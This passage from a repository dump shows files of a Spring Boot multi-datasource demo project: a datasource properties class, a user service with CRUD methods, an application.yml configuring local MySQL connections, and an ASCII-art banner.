    "content": "package com.xncoding.pos.config.properties;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.stereotype.Component;\n\n/**\n * 多数据源的配置\n *\n * @author xiongneng\n * @since 2017/6/23 23:05\n */\n@Component\n@ConfigurationProperties(prefix = \"biz.datasource\")\npublic class MutiDataSourceProperties {\n\n    private String url;\n\n    private String username;\n\n    private String password;\n\n    public void config(DruidDataSource dataSource) {\n        dataSource.setUrl(url);\n        dataSource.setUsername(username);\n        dataSource.setPassword(password);\n    }\n\n    public String getUrl() {\n        return url;\n    }\n\n    public void setUrl(String url) {\n        this.url = url;\n    }\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/src/main/java/com/xncoding/pos/service/UserService.java",
    "content": "package com.xncoding.pos.service;\n\nimport com.xncoding.pos.common.annotion.DataSource;\nimport com.xncoding.pos.common.dao.entity.User;\nimport com.xncoding.pos.common.dao.repository.UserMapper;\nimport com.xncoding.pos.common.mutidatesource.DSEnum;\nimport org.springframework.stereotype.Service;\nimport org.springframework.transaction.annotation.Transactional;\n\nimport javax.annotation.Resource;\n\n/**\n * 后台用户管理\n */\n\n@Service\n@Transactional\npublic class UserService {\n\n    @Resource\n    private UserMapper userMapper;\n\n    /**\n     * 通过ID查找用户\n     * @param id\n     * @return\n     */\n    public User findById(Integer id) {\n        return userMapper.selectById(id);\n    }\n\n    /**\n     * 通过ID查找用户\n     * @param id\n     * @return\n     */\n    @DataSource(name = DSEnum.DATA_SOURCE_BIZ)\n    public User findById1(Integer id) {\n        return userMapper.selectById(id);\n    }\n\n    /**\n     * 新增用户\n     * @param user\n     */\n    public void insertUser(User user) {\n        userMapper.insert(user);\n    }\n\n    /**\n     * 修改用户\n     * @param user\n     */\n    public void updateUser(User user) {\n        userMapper.updateById(user);\n    }\n\n    /**\n     * 删除用户\n     * @param id\n     */\n    public void deleteUser(Integer id) {\n        userMapper.deleteById(id);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/src/main/resources/application.yml",
    "content": "##########################################################\n##################  所有profile共有的配置  #################\n##########################################################\n\n###################  自定义配置  ###################\nxncoding:\n  muti-datasource-open: true #是否开启多数据源(true/false)\n\n###################  spring配置  ###################\nspring:\n  profiles:\n    active: dev\n\n###################  mybatis-plus配置  ###################\nmybatis-plus:\n  mapper-locations: classpath*:com/xncoding/pos/common/dao/repository/mapping/*.xml\n  typeAliasesPackage: >\n    com.xncoding.pos.common.dao.entity\n  global-config:\n    id-type: 0  # 0:数据库ID自增   1:用户输入id  2:全局唯一id(IdWorker)  3:全局唯一ID(uuid)\n    db-column-underline: false\n    refresh-mapper: true\n  configuration:\n    map-underscore-to-camel-case: true\n    cache-enabled: true #配置的缓存的全局开关\n    lazyLoadingEnabled: true #延时加载的开关\n    multipleResultSetsEnabled: true #开启的话，延时加载一个属性时会加载该对象全部属性，否则按需加载属性\n\nlogging:\n  level:\n    org.springframework.web.servlet: ERROR\n\n---\n\n#####################################################################\n########################  开发环境profile  ##########################\n#####################################################################\nspring:\n  profiles: dev\n  datasource:\n    url: jdbc:mysql://127.0.0.1:3306/pos?serverTimezone=UTC&useSSL=false&autoReconnect=true&tinyInt1isBit=false&useUnicode=true&characterEncoding=utf8\n    username: root\n    password: 123456\n\n#多数据源\nbiz:\n  datasource:\n    url: jdbc:mysql://127.0.0.1:3306/biz?serverTimezone=UTC&useSSL=false&autoReconnect=true&tinyInt1isBit=false&useUnicode=true&characterEncoding=utf8\n    username: root\n    password: 123456\n\nlogging:\n  level:\n    ROOT: INFO\n    com:\n      xncoding: DEBUG\n  file: D:/logs/app.log\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/src/main/resources/banner.txt",
    "content": " :: :.:..... : ....: ..: ..: : : :..: ..:...:.... :..........:.... .:.: : :.::..:.:......:.:..: : :...:..:::..::.:::::::..::.:::::.::::::::::::::::::::::::::::::::::::::::::;::::::\n.::.:.:::...: ::.:.:.:.:::.::::.::.:.:.:::.:.:.::::.::::.:::.::.:.:.:::::::::::::::.::::::::::::::::::::.:::.:::::::::::::::::::::::;:;:;;;:;;:;:i::::;;,;,,;::;,i;:i;,;:;,;;,;;i:;:\n::.::: :::::::::::::::::.:::::::::::::::.:::::::::::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;;:;;:::::;::::::ii,;,ii,,;,,:ii:ii,;::i:ii:i;,;;,i:,;,:i:::;,,;,,:\n::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;:::;;:::::::::::::::::;::::::;::::::::;:::;::::::i:,;:::;,;:;i:;,,;i;i:i,;,;,:,;,::,;;,;,:,;:;,,;i:;,;::i:,;,,;:;,\n:;;:;;:,i:,;:;::i:i:;:,;,,ii,,:;;,:i,;,,;,,i:,:::;:i::,;::,;,:,::i;,;::;:::::,:;:,::::,::i;:,::::::,:,:,,:ii:i::i:,;,;,:::;:;:;i:i;ii:i;,i;,;:::,:,::,::i:i:,::;,i,;ii;,,::;,:::i:i:\n;ii:,:,;;,;,,:,:;,:,:,::ii;,;:i::;::,:::::::;::,;:,;,:i:,;:::;:i::::::::::::::;,;,;;:::;:::::,::;:::::;,:i::i:;,::::;::::::,::,:i:iiiiiiiiii::i:::;:;:::::::;::i:,;i,i:i:i:,;:::::::\n,;;:;,;::;:::;:i::::::,;::i:i;::::,::;,::::,:::::;:i::;,:::;iifffjiii;i:::::i:,;;:,,:::,::::::::::::::::;,;;,;:;:,;,:;,::::;i:;;:iiiiii,i:,;::::;,:,:::;,;,:,:;,;;ii;,;i;::;::,:i:::\n,i:i::::::::::::::::,::i:i;;ii::;::,::::::::,::::;:i:;,;ijffLffffGGGDDLGfii;;:,;:i::::::;::::::::::::;::;:i;,;:;::;::::::,;:i:;;i:i:iii,;ii:,;::::,:;::::,:;::;,;;,;ii:i;,:;:;::::::\n:ii:;;:,:;,:::::,;,:::::iiiii;,;,:;:i::::::::;::;;,;ii;ifGLGGLGDGGGDDEDGffijiiii;::;:::::::::::::::::,:;:,::::,:,:::,;:::::,::,i:i,ii;;i,;;,;:,::;::::::;:::,;:,;i:i:,;,,;:,:,:;::::\ni;;,:::::::::::::::::::i::i:ii:,::::::::::;:::,;:iii;ifLDGfDDDGDDEEEKEEDEGDDGLfi:,;::::::,::::::::::::::;:;:i:::;:;::::::::;i:;,;:i:ii,;i:::,,::::,;::::,::::::;,:i:i;,;:,::::::,:::\ni:,;,,:::,:::::,::,::,:,;;,;i:i::;,:::::::,::,;,;i;ifLDGGDEKEDEEEKKDEDKEKEEDDDGfi;,::::::::::::::::::::::::::::::::::::::::::,:;:i;;i:;,;,,;::;:;:::::::::::;::,;i:;::;,,;:;;:i:;:::\ni:,;::::::::::::;::::,:::;:i::;,,:,:::::::;:,;iiifGGGDGDEEDKEKEEWW#WKKEWKEW#KKEGj;i;,::::::::::::::::::::.::..::.::...: ::::::,;:;:,;i:i:;::;::;:;:::::::::::::,;;:;:::i,:;:,:::::::\n:;;,::,:;:,::::::,::::,;,:::;,:;;:;:::::::::;,jjfGDGDGGGEDEEKKK#KWK#E#WWW#KWEWEDffii:;::::::.:::::::::::...;;:ijiii:::: :::::;:,:i,:;::;:::,:,::::::::::::,::::::::,::;:::::::::::::\n,::;,::::::::::::::::::::::i:;:::,:,::::.:;,iifffffDGGfLDEKKWK#WKEEWWWEWKKWWWWKKDGGi;,::::::::::::::.:.:;:;;;jLfGGfji;:::::.:::;::;;,:::;,;::;::;:::::::::;::::;:;:;::::::;:::i:::::\n::;::::::::::.:::::::::::::;:::::::,::::::i,ififLDGDDDDEKWEWWK##KWEWWWWKKKWKWWKWWKDGfi;::::::..:::::;,;ijLGjjjtjLGDDGDGGGi::::::::;:::::::::;::;,::::.:::::::::;::,:::;:::::::::::::\n:;:::::::::::.:::::::::::;:::,:;::;::::.::ijtGDGDDDDDEEKWWWKWWWWE##KK##KKWKWK#KWK#EGfii:::: :::::::::iiifLGGGGjjtGGEDGEGDj;;:::;:::;::::;::::::,;:::::::::::::::::;::::::::;:,;:::::\n:::;:::::::.::.:::::::::;:::::::::,::::::ifDGDKEKEDELDKKEKEK#WW#K#WWWWWEWWKK#KK#KKKGGi;::::::.:.::.:;ijfGGGEEDGGtjGGKDDEDG;;:.::::::::::::::::::::::::::::::::::::::;:::::::::::::::\n:::::::::::::::::::::::::::::::::::::::;ifDEDDD#GDEDEWWKEW#W#E#WWWKKWKWWKK#EWK#KEKGjii;:::::::: ::iiLGDGKKKKKDKKEjjGEDKEEjjGfj;:::::::::;:;:::::::::.:::::::::::;:;:::.:::::::::::::\n::::::::::::::::::::::::::;::::::::::::iiGKKDGEWEKEWWK#K#KWK#WW#KW#WK#WWKWKWK#KKKDj,;:::::... :::i;jGGDEEKDKKKKKKGjjGEKKDjGGGjf::::;::::::::::::::.::.::::::.::.:.::.:::::::::::::::\n:::::::::.::: ::::::::::;,::;::::::::,;ifLEKEEDEK#KKKWE#WW##KWWK##KK#KWWKKKWEGKGGi:;::::.::.:::::ifGGGEKKKEKDKWKEGLjGD#EKGGGGGG;:.::::::::::::::::::::..::::::::::::::::::::::::::::\n:::.::: :::.:::::::::::,::::::::::::i;ifGDEKKEEKKK#KK#KWWWKWWW##EWW#E#WEWEWEEDGjLi::::::::.: .:;ijjLGEGDGGEKGEKK#KGGGKKWEDEKDGGi;::::::::::::::::.:..:..:..::.::.:.:::::::::::::.::.\n:::::.::::.::::::.:::::::::::.:.::::iifGGDK#EWEKEWK#E#WKWWWKWKWWWKKKK#WEWDGGGLit;;:...:::. :.:;ijLjjjjLGGEEKDEEDGEKDGGEDKKKEEGGi;::: :...:: :::. : ::.::..:::..: .::.::..:::::..:.:.\n::::::.::.::: :.::::::::::::..:.: ::iiGGDEEWKKKKEE#K#KWWWWW#K#EW#KWW#KWEKEGfLf;;;;;: ::: ::::ijLGjtjLLGGKEEEEEDKEDKDEGGGKKEKKDGj;;:;;::::..:....:.: ...:..:....:::...:..:.....::.::.\n:::.:.:::.: ::.:::::.::.::..:: :::::iLGDGDKWKE#KK#WWEKWWWWWKWWWEWWWWKKKKKDDfjj;;,,..:...:.::;jGjjjjLGKEEGEKDDEGDDGGGGfLjGKKEEKGjj;;,;;: :.:.:::...:. :....::.. : ..:::::..::::  ::::\n.:..:..:: : ..:::: :..:: :....: .::ijGDKDGEWEW#EW#EWKWWWWWWKWWWEWKK#KWKKEDGGi;;;,,::.:.: ::;i;t;LEGGDGEGKEGGGLjiji;j;;;;tjGGEKDGjt;.:.:: :: ::.:: :  :.......:..:: :.:.:...:.:...::.\n..: ::..: :..::...: :.: :: :::..:::ifLGEKEKEK##WWK##KKWWWKKKWWK#K#KKKWKWKEKGti;:.:.,.:. : ;ij;;jGGGLGEGGDEGLjj;t;;;;;;;;;;tjGEDGjt;:.. ;:..........::..:.......:  :... :..: ... :...\n..... :  : :.. :.: .: .:  :.. ::::;ifGEEKKE#KKWWWEWK#K#K#K##EWKEWKWWWW#EEEDGi;;;.:.:..:: :;ijitGGLLGEGEKGGGjj;;;;;;,;.;;:;;;LGKEGt;.: :. :..:: ::. :. :... .... :.....: : :::.....::\n :......:. ..: ...::..: ::.....:::;iDEEWEKKKKKKK#WK#KWKW#K##EWWWKW#EKEKWKKEDGj;;;.::.,: ;;ii;jjGGLGGDKGGjLjji;;;,::,:.;:,::,;tjGGLL;................:... :  .:: ::....:..: :: :.....\n.  .::..: : . : :..: :..:: :..:.:::iGDKKKK#KK##E##WWWW#KWW#WK#EKWWKKKEEWEKGEGj;,.:...,..::;;jjLGLGLGEGLGLjjtjt;;;;;.;;.::,:.,;iGDGG;;..............  :..: ::.. :.. : : .: :. :  :..:\n.::..: :..:... ...:: :: :: :  : ::,iGDEEKEK#EWKW#WW#KWK#KWWWWWKEWKKEWDDDKKKDGGi;.:.:,.;::;;itLGLfLGGGGGjjjt;i;;;.;,,::,:...::,;LGGGL;:: .. : ....... : : :....: :: .. :.....: :: ::\n :..::.::.: . :: :  :.....: :: :::ijDGDWEKWWK#KWWW#K#WW#WW#WWWKK#KWKEKKKDKEEGGj;.:...:.,:;;;jLjGLLGKELjLjjt;t;;;,,;:.:.:..:..:.iGGGLj:.:..... :  : ::..... ... :.:......: :  :  :  :\n.. :  :..: :. ::. :.......: :: :::;fGDDDEWKWW##WW#KWWWWWWWWWWE#KWKEWEKEKGDEDGGj;:.:..:.,;i;jjGGLLDKEGLjjjtjt;;;,,;,:..:.:.:.:.:;;LGt;j:.: ..  :....:: :: : : . : . :  :.: :.: :.: .:\n. : .... .:  :  : :.....:......:::ijfDEEWKK#K##K#WW#KWWEWEWWWWWKWEWKEKGGDGEGGjj;.:..:.,;jEitiGGLjGKELjjtijii;;;,;..;:.:.::.:.:..;jGjtt.::  :....: :  :.: :.: ::...... ::......:.:.:.\n:  :  .........: :  :  :  : :...::itGDDKEW#KWKW#KWWWEE##WWKWEWEK#KKEKKDGKGGGGf;,:..:..;jGK;jLGLGGEKEjLjtt;j;;;;,,,::::.;..:...::.jGLj;j ::: :: :: :  : ......:: :: :.:....:.: :.:.:.\n:  ...................: :....:...:;fGDDKEKWEW##W##KWWWW#WW#K#KWK#KKKDKGfGGGGLj;::..:.;ijjjjGGGGDKKEGjLjjLjjji;;;;,;.::.:..:....:.;fGLijj.:: ::.::.... :: :  :  :  :..:.. : ::..:..:\n ....: :.............:: ...:..:  :ijGDKEWWWWWEK#KK#WWWKWE#KKWWK#KWDEGGGGfjGji;...:..;;;;;iLjGLGKKKGLLjLLGGLLLj;;:;:.;:..::.::....:jDLijj.:............. :..: :: :: :.......:: :: ::.\n:  :  ..: .. :  : :: :: ::. :: :: ;fGDEDEWWWKWWWWWWW#WK##WKWWK#KKEDKEDGfGfjL;;.:.,:.:;...;GLLGDDKEGLGLGGLjfjfLj;;;;,..::.:.::.:...jKLt;j;.................. .. : .........: .....::\n :...: :: .. :  : ....: .. ... :: ;fLGDDEKWWKKWWW#K#E#KKWKWKWK#EKEDEGDGGGjji..:.::;.:.:..;LGLGKKELLjjjttt;;;;;;;;;,;..:.:;;;i;::..;KGj;;j; :  : .. :: .. :  .  .. . .. :: . ..  ..:\n ..    . : .. :: :  .. : ....: . :;ffDGEK#K#K#WW##WWWW#KWWWK#KWWEKGDDGfGfjj;.:...:..:..:;jGGGEWKGLfLjtjtttij;.;;;;;.:.::;;;iji;:..;KGf;;;; .. : ...  .... .: . ..: : ..  : :: :... :\n.  .. ... .... . .  .... .  :: :. :LGDDDEK#WE##WW#K#KK#EWWW#KKWKEKDDGDjGfij;.::...::..:;j;iLEDKKGjLjjjtjjLLGLj.;;;;;..:.,:;;;t;j::.EGj;;;;: .:   .. . : ..   ..    : . :. ....... .\n . . . .: ... . . :. . :  ..  . ..;jGDGDKKKKKWK#WKW#EK#WKK#KWWWKEDDGGGjGjjtj,:...:.;..:;;;;;GKKGLLtjjtjjGGEEKD;.,;;;.:.;;,;,:::;;.:DGL;;;;...... : ..   : .:  : : : ...  : .. :.....\n : .  :  . :..  : . ... : .  .. ...iGDGDEKKWE##EWWK#K#KWWKKKWWWEDDDGGGjGfjji;::.:.....::,..:,DKLjtjttLLGELiiEGG;;i;;.:,;;;;jjj;: :.GGj;;;;... .. : .. : : .. .... :   :  : .. :....:\n. : .  ....   :.. ...  . . :   . . ;GEGDDEE#KWW#KWKK#WE##K#K#KKDKGEGGGGjjjjj;:.,..:.:....;,:,;EGLjtjjjjLLLLjLGK;;;;,: ;;;jGDWKG;. .Gjt:,:;: .:   ... : .. : : .   .... :: .........\n .  ... :  . .  : .. .. ..   : . : :GGDEDEWKKWWWEWWKKWWEWWEWKKKDGGGGGjjGjjji;:;:::....::.,:.;;jGLtjttjtjtj;;;;j;;t;;..;;;jiifDW;:.:Ei; :.; :  : .. .. :.........:... ..  : :... : .:\n .. ... . ..  : :   .   .... . .: ..GDGEEKKK#KKKKWWWW#KWWWKEWKKGLL...;jjfjji;,;::.:.. ...:;:;;,;Gtjtj;j;;;;;;;;;jtt;:.:.;;itjjLL; .L::..;...  : .. :: .. :  : ..........: :  : ....:\n. . . ..: .... . ........ .... :....LKLKDKKKWWWWWEWWWK#W#WKKKEELL;:;..,;jjjt;;.;.:.:.:....:;;;;iLjtjiti;;;;,,.;;tji;;:.:;t;;;.;;;..j:. .:. :  :  .....  : .. ..... : ..  : :: :...:\n .. . ... .. : .. :. :: .... ...: :.iGGDEKKWEWWWKWWKWWK#EWKWEKGLt,tt...;;jjj;;:;;:... :. .;;,;;jGjttti;;,,,;.;;ijtt;...:;;;;;..:. .j:  :; .... . ...: ...... : .. : :: :: .::..: ::\n . : . . : .. :: ..: :: :: .. : ....;jGGDKDKKKWKKK#KWWWWK#KKGLLtt,tj,..:;;;;;;:,,:,:.. . ..;,;LKLttjt;t,.:,;:,;ttjt;:...:,.:.:.: . j: .:.  :  : .... :  : :: .. ......:  : :: :..::\n. . ....: : : . : :..  : ....: :: :.:;fGDKDEWWKWEEWK#KWWWWKEGGjf;,ti:,...;;;;;;;:,:..:..:..,;jKELjttt;;;;,,,.;;jtj;;::....:,,:...:.j:..:.. .  .. : .. :: : ........: : ::....:  :  :\n :.......  :...:  :..   :...... ....::iGEEEKEKKWKWKWWK#KEWWELjLj;,,,j;.:.,;;;:,::;:.:......;;KKGLtttt;,;,.;,;:;jjj;;.....:.::... . f;..: ::.........: :: .......: :.:.:: :.......::\n. .... .....: .. :  :  :  : ..... : .::GGDKEDWWEWK#EWWWK#KWGLjjf;;.tLL. ..;;;;;:;:,:...:. .,jEWGLtttt;;;,;:..;tjLj;;:.:...,:.:..: .ii.:.......... :  :  : :: :: :::.::.::.....::.. :\n.......  : . .....  ..: ..:..... .: .:.iGGKKKKKKK#EW##K#WWKGLjtLt,.;ff; .:.;;;;;;:;;:..:.:.:,LEELtjti;;,,::.;ttjtj;,:...;,:::.: . .i;;:::.::.:...:....::: : :::..:.::::..: :..:: :.:\n..: :: :: ... :...  :  :...:..:::..:...;DGEKKEWWWKWWWWWKKKKLjjLfj;.,;t;.:.;,,;,:;.,:,,...::,:jDELtttt;;;:,.;;Ljtjj;;..:.;;.... :.. ;;;::.:.....:..:.:.: :: : ::..::::::::.:.::.::...\n.: :::...................:.:..: : :..:.:jGDEEWWKKK#K##W#WWKLjjjtjt....;..;.;;;;;;.,,..,.:...,;GELtjtt;,;,,:;;jjLLLj;,;..;,,:..: : :;:;:::::::.:.:..:.: :.::::..::.::.::.:.::.::::.::\n::::::.:.:.......:.: :.:.:::::::.:...:::.;GDDEKEWKWW#WW#KKKLLjtjtj;....:,,;;;;;;;.,,:.......;;LKLtjtt;;,,;;it;tiij;.:;: ,;;,..:.: .:.:;.::::...::.:....::.:.:::...: : :..: ::.::...:\n::::::.:: :::: ...:.:.:.. :::.:..:.:.....:LGEDWWWWW#KWKWKEEjjtjjjLt;.. .;;;;;,:,::::..::..:.:jKELttt;;;;:;;ttt;t;;:,:...:;;;.:.. .:::..::  ::.::.:.:::...: .: :.:..:.:.::.:..:::.:..\n.::.:.: ::: : : :.:.:.:..::...::: :.:..:.:LGDDE#WWW##WWWKKGLjjtttjLt;:.:,;,;;;;,,;:::.:..:.:,LGEGjttt;;;;t;tj;ttt;;...:.:;;,:.... :...;..::: : :: : ...::.:: :....:....:.: :.:  :...\n....: : .: :.:...:..: : :::....:: ::..:: :jDWKWWWEWWWWKKDDGjtjttit;;;;;;tt;t;;;,;:,.:.. :..:,;LGLttjt;;,;tLLDDDGGDLff;..::;;:..:. ..: .: :..::: ... ..:: : ...: ::........ :: :.: ..\n.....:.:: :.: :...:: ::.. : :..:: : ..::..fKWWKWWWKEKKKEDGGjji;;t;;;,;;;;ttt;;;;.;....:..:,,;tGLLtit;;;.;tGELLLGLfffLjt,.;;,..:. ::...;... :   :: :. :.: ::: :............:  : .....\n :: :....: :.: ..:  :.....: :: ::.........iEWWWKWWKKKEKEGGGj;jt;i;,,:.;tijt;;;;;;.;.:..:...,:tGLjtti;;,;;;LGLjt;;;t;ffft;;,;:.... :: :: : ....:  : .: ....  : ............ :: :: ::\n:  :  :  :.........: ::...................;GKWEKEKEKEGGGGGjjti;;;;,,.;;;tttjt;;;,:...:...,:;;;LLtjttt;;.;;;DGL,;:...:tfLf;;:..: ..  : :...............:: :  : ...........: :: :: ::\n :: ::.. ::  :  : :: :: :: :  :  : :: :...:iDKGGGGGGGLGjjjjti;i;,,;:;:,;jjttti;;,,,..:..,:,,;:.;jtttt;;,;;itLDGLfft,,,Lft;;,.... :  :. : .. . :  : :...: .  .. :  : :: :: :  :  :  :\n........: .....: :  :  :  ...: :: :  :  :  :LGGGGGGGLLjjjtj;jt;;,;,,.,;;tjtjt;;;;;:,::..::,:,:..;;;i;;;;;;ttjfGDLffjjjjt,;,;:.:.: .. : : .. :: :: ....  : : : : :: .. :  : .. :...:\n :: :: ::.....: : :: :: :: : .......: :: :: ;i;ijjjjjjjj;jtt;i;;,,::,.;;;jjiit;;;,,:..,.,.:;,...:;tiit;;;;;itjfGGLffjti..;;..... .. :. ...: . :  .. ..   :  .. .........: .. : .....\n :: :: :: :  :  : :...: ... :: :: :  :  :  . ::.:,:i::::::;t;;;,,;;::,,:;itjitit;;;;,:,:,,:,;  :..:,;ti;;t;;;;;,;;;,;....;.:..... ::   : .. :: :: :.. :: ... : : .. :..  .....  ....\n:  .......... :: :  : ..........: .. :  .. :..::i;,:;::::.:;;;;,;:::..:.,;;ttt;;;;,;;;:,,,,,, : ...:;t;jiit;;;;;;;,;...:.:..: .: .. :.. ..: :........... .  : .. ....... : :: :: ::\n :: :.......... : :: :: :...  .. : :: :: :itfGDGffjii;::.:. ::;;.;:,:.,::,;;tittt;;;;;;,,,:;.. : ...;;ti;t;;;,,:.::.:: .:.:.... ...: :: :  ..: .. .... ..... :: ::  :... :   : :   :\n .: ...... :: :: .......  ..  .. : :...:ifLDDDWDWWEWKWKWEDf;. : .;:::.,.,;,;;;;t;;;;;;;;;;. . : ..:.:.;;tit;;;:,:..... :.... :  : :: : : . :   : : :..... :..  : .. . :  ...: :.. ..\n :..  .. : :... ..... ....... .. .. .. ;tfGGDEEEKWK#W#KWWKKEGf:.. :,.:...:::;;;:..  ...: ...... .:. ..:;;itt;;:;.::.::. :...: . ..   .. .  ........ . :: ..: .. : : :: .. : .... ::\n . : ..... .. ... . ..... :  .. .. : : iffDDDDDWKKWWKEWWEW#KKKKi...:::,.::;,,:. .. ...  .. ..: ...:.:::;;;;jit;;:;.: ......  ..: ..: ... :..   : : :: ....  : : .. .....:  : : : . .\n..: . : . .........: :.. ..... :: ..: :jffLDEDEEKKKK##WWKKEEKKEDL: ..:,:::.::; :: :.. :..  ... . :.:.:,,;;;itj;;;.:.....:: .. :... ... ..   : :  :  : . .....  : ....: : : :: .. ..\n . ....  ...: . :   ... .... . . ....ijLfLGDDDDKKWWWWKWKKKWEKWEEEKD: ..,.:.::. :..  :.:.. ..  :  :.::.;.;;iititt;;;;:::... :.........  :   :  .....  : : .. :  .... :..  : .... : .\n .. ...  ... : .... : : .. .....: : itjfGDDDEEEKKKWEW#KWWKKWEWEEKDDGi :.::,: .. .... . . : :   : .::.::;;tttjttiti;:;.....    :.. . : . ..  : :   : ......  : : :: :   :.... ......\n..: : .. :   : .  ::   : . :  :   ..fLfDDDDEEDKDEEKKKWWWKWWWEWEEEEEEDj..::.;:  ::  . :  .  : .. :.:.:.;;;titjtit;;:;:...:.... :....: .... ...:  : : .   : ...  : .. ... ...  .... .\n ....... . ....:  :: . :  : . :   : tGfDDEWEWEWWW##WW###W###K#KKEEEEDEf:.,:   : .. ...  .. : ....:.,:,:;;tit;t;,,,.,...... .:    .... . : . .: . .  . . :  ...: . :   ... ... . . .\n .. :: :: : . . : .... .........:  :ifffDDEEWEK#KEW#WK#WWWW#W#WWEKEEEEKf.:.  : . :   : . .. ..  . :,:;;;jttt;;;;,::....:. :  : : .. : . ... ... . :  ... ..  .  .. : .. . ..... .. .\n........ : .. :. : . ....: ........:ffffGLDDDKKKWK#E##W##W#W####WKWDEEEEf ..: ... :.. .. : ... : ..::.;;;j;;i;;:;::.::....    .  ........ : . ... ........ : .... . .. :...  . . ..\n .. ::   : .... ... .  .. : :: .:iiffffGDGDDEDKKKK#KK#WWK#KK#KKEW##WKDWDEi.... .... ... .....  : ...:,;;tti;i;;,;.:.,::.:,:.  :. : .......: .. :...  : ....:   :  : :: .. :  :  .\n....  : ....: ... .: :..   : .::tifDGLfGDDDGDDWEWKWKWWWWWWK#WK#WEKK##KDEWEi  : :.. .. :...: .:  ...,;;;;iti;;;;,.;:..:.:::::..  : ::..: :  :  : ..... : : .........:. :...... ::..:.\n..: :... ....... ........... iiiitfEDDDfGDGGDDEEWWWWWWKKWWWK#KKEWEEED#WEDDG: .... :: : ....... : . ,;;;;j;t;t;;,;..:::..:.;....: : ... : .. :: ....::..: :  .....: : ....:.  : . ..\n... :: :: : ......:: :...: :ititifLDGDfLGDfGLDWEWWKKK#EWK#KKKK#KKKKEKDWKEDDf.............  :  : . :;;;;tt;tt;;;:,..;..::.;.;;.:: .:::..::. :..:.:.....:..:. :.....::..:::...::.:: ..\n ::.:: ::... :. :....:...:tDLifjtfDEDGGDDffffDKWEEWEWWEWWEWWEKKWKKEWEKEDEEDG:.: .:::....:::.:.: . .;t;ttt;ttt;;:;..,.:.,.:;;;;;.:. ::..::.:.:::::.::::::::::..:::.::.::::::.:.::.::.\n: .:  : .:::.:.:: :: :: :iDDfifffGDEDLLDLLffLDKEKKEWEEWEKEKKKWKKWEKWEWWEKDDLL..:: :..::::.:: .:  . ;t;itt;tt;t;;,;,,.,,,:,;,;,;;;::   ::::: ::..:::..:::.::.::.:.::::.:.:.::::::::::\n.: :::.::: .:.: ::..:.:;iGDLtfffLDGDfLGLGLffGDKEKEWEEEDEKKKKKKEEWWKK#KKKKEDDLfff;::.::.:.:.::: :  .;;ti;ijit;;;,;:.,..,:;;;;;,;;:;::.. :.:::.::.::::::.:::::::::::.:.:::.::::.::.:::\n.:.:..::::.::::::.:.::tfGGfftDffLDfDGfffLLfDKEEDEEDKEKKKKKKEWEKWKKEWEWWEWKEKDDLDi::::::.::::: . . .;;;;i;j;;t;;;;..:.::;;;;;;;i;;:.. :..     .:::::::;::::;;:::::;:;:;:::;:;::;;::;:\n:.:::::.:.::::.:.:::iitDfGfGfLffGLDDfLGGffDEDKEDEEWKKWEWWEDWEKKKKKKKKKKKKWEEEDDLi::;::::::::. .....:;;t;;titit;,,,;.;,;,;;;;;t;;;::.:..::.::.  ::;::;::;i;,:ii;i;i:i:::;;:::;:::;,,;\n:::.:::::::.:::.:::iitfDfGDfDDfffDGDLDLLLGKDKEKEEKKKKKKKKKEEKKKK#KWKKEEKKEWEDEDLLi;:;:;:;::: . .  .,;;;;j;tt;;;;;;:;::;;;;;;;;;.:;::.:::;;;:::..;,:ii,i,;iiii,iiiii:i:i::i:;i:ii;iii\n;iii;;:;;:;::;:iiiijffKffGfLWGfLDGDLLDGDDEEEEDWEKKKKKKK#EKKKWE##WKKKKKKKEKDEDEWEEDDii;i::  : : .: :,;;;;j;t;;t;;:;;;;:;:;,;;;;;;;;:;,:;;;;::::.:.::ii:i,;,;;i:,i::i:i;,;:i:::;,,;ii,\n,;,;,,ii;,;,,:iiittttGDtGDfD#LLGLDfDLDGDEEDEDWEWEKKKKKKEEKDKKKKEWW#KKWKEWDKKKWEWWEEEGt:     :...:. ;;;;;;jtt;;;:;;;;,;;;;,;;;;;j;:,,:;,;;;;,::.:: :::;:;;;::,;;:i;,;:::,:::;::,:i::;\niiii;;;;:i,;;iG,itiffWLfDLDWEDfLGDDLDDDEKKEEEEEKKKKKKKKKEWEKKKKWKKKKKWWEEKKK#EWEEKDEEDG . ...:.:. :,;;;;t;;;;;,;;;;;;;;,;;;;itj;;;:;;;;;;;::....:  ::,;::,;:;::;::::::;:::::;::::;i:\n;,,;;,;ii:i:LEttijffDWffDDDWWDGLGDfDGDEEDEEEKEEWEKEWEKKKWEWWEWEE#WWEWEEWEKE#EWEKDEEDEDEi. ...::;:..;;;;t;;;;;;,;;;;;;;;;;;;;tij;;:;;,;i;;;;.:.:. .: ::::;:::::::::;::::::::::::;::::\n:::::::::::jGiittffDKWtLDEWKKDLDLLDLGDDEEDDKKEKEWWEWEKKKWEWWEWKWW#KWKKEKK#KKEWEWDEEDWDKEDj::..: : ;,;t;;;;;;;;;;;;;i;;;;;;;;;j;;,:;;;;;i;;,:..:.: : ::::::::::::::::::::::::::::::::\n::::::::::tKjijtffjE#EffDKKKDDGfGLGLDDEKDEDEKKWEWEWEWWEKKKKW#E##KWEWKKEWWEWEKEEEKKEKDEDEED.:::.:.:;;;;:.;;t;;;;;;it;;;;;;i;it;;:;;,;;;;;,;:.:.. . . :::::::::::::::::::.:::::::::.:.\n::::::::::D#iftffffWWDfGDKKKEDLDLLLLLDDDEEEWEKKEWWEWEKKKKKKKKW#WWKKKKKEWKEWEKKKKEEEKDEEDED::....:,;;;,:;;t;;t;;i;;;i;;;;;;;;j;;,;,;;;i;;;;;.::... : :::::::::::.:::.:.::::...::.:...\n:::.:::::EKfffjfffGWWLjDDEWDEDGfLLGGGDDDEEKKEWWEWWEWEKKEEWEWW#KWWKKKWEWWKWEKKKEKEEDEDKEKDED;..;::.;,,;;;t;;;;;;;;;;;;;;;;;;;;;;;;:;;;i;;,;:.::.. . 